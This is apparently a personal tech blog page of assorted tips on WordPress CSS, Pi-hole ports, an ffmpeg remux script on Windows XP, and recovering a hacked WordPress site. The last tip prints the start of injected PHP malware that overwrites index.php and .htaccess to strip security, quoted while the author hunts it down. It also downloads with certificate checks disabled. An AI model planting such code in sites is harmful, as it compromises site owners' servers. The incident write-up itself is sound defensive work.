If you’ve ever needed to remove the title header from a specific WordPress page you can do it using custom CSS. No additional plugins required. Copy and past the code below updating “.page-id-###” to reflect the ID# of your post or page.
/* Enter your remark here about why you’ve added this custom CSS */
.page-id-### .page-header {
display: none;
}
If you run another web server on your raspberry pi such as nginx etc you will need to change the default port “80” for your pi-hole’s web admin.
Begin by making a backup of the pi-hole lighttpd config
sudo cp /etc/lighttpd/lighttpd.conf /etc/lighttpd/lighttpd.conf.backup
Next replace the default port 80 with a port of your choice (example below uses port 8093).
sudo sed -ie ‘s/= 80/= 8093/g’ /etc/lighttpd/lighttpd.conf
Finally restart the lighttpd daemon.
sudo /etc/init.d/lighttpd restart
Connect to the pi-hole’s web admin in your browser using your newly updated port.
//192.168.x.x:8093/admin
//pi-hole.your.domain:8093/admin
I was attempting to use Carlo Ayars convert scripts to remux .mkv files to .mp4 on a 32-bit winXP box.
Orignal article: https://forums.plex.tv/discussion/217697/ffmpeg-script
FFMPEG kept throwing “not a valid Win32 application” errors. That’s when I realized the included copy of FFMPEG was 64-bit. So I went out and downloaded the latest 32-bit FFMPEG and it threw “The procedure entry point” errors.
I ultimately found an article which explained the last working version of FFMPEG on Windows XP is ffmpeg-20160227-git-5156578. I replaced FFMPEG with ffmpeg-20160227-git-5156578 and it works great.
So to get ayars remux script to work in a WinXP 32-bit environment you’ll need the following:
To install Subliminal, download it from github and extract the contents of the zip file to a temp directory. Open a command window in the Subliminal temp folder and issue the following command to have python install the library:
C:\Python27\python.exe setup.py install
(You may or may not need to change the Python path.)
Note: Remember to update the download-subs setting in “autoProcess.ini” file to “true” in the convert script directory
Thanks Carlo! Great batch conversion utility 🙂
B efore debating/arguing/disagreeing with someone, make sure you can explain their point of view in such a way that they agree with your explanation.
After years of quiet, faithful service my trusty little server was molested by the darkside. A key part of my re-securing strategy involved making sure my .htaccess file was up to snuff. I would attempt to save my newly edited .htaccess file and the editor would tell me the file had already “changed”. WTF?
If I stopped the apache2 service.. or firewalled 80 I was able to save the file, close it.. open it.. etc and the changes stayed.. the second I unblocked 80, my .htaccess file reset itself to the basic WordPress .htaccess config.
I’d missed a compromised PHP script somewhere in the WP file system. The uninvited code was was modifying the .htaccess file (set at 0444) to disable all the security features but leave WordPress in working condition.
“You fool! You failed to realize that, with your .htaccess is compromised, my script will tear through yours like tissue paper.”
Diff command to the rescue! In a directory above WordPress, I created a temp directory, used wget to get the latest version of WordPress then “diff” command to hunt down the rogue script. (Note: this script was written for Ubuntu.)
sudo mkdir .tmp
cd .tmp
sudo wget //wordpress.org/latest.tar.gz –no-check-certificate
sudo tar -xzvf latest.tar.gzsudo diff -qr /var/www/webz/.tmp/wordpress /var/www/webz/wordpress |grep differ
You clever girl:
Files /var/www/webz/.tmp/wordpress/wp-includes/nav-menu.php and /var/www/webz/wordpress/wp-includes/nav-menu.php differ
Every time someone browsed my site, it fired off a compromised version of nav-menu.php and the injected code lobotomized index.php and .htaccess. Weeeee! 🙁 If you’re curious like I was, copy the base64 code to https://www.base64decode.org/ and decode it to plain ascii.
function my_correct($dir) {
$time = 0;
$path = $dir . ‘/index.php’;
$content = base64_decode(‘PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==’);

So no.. you’re not crazy.
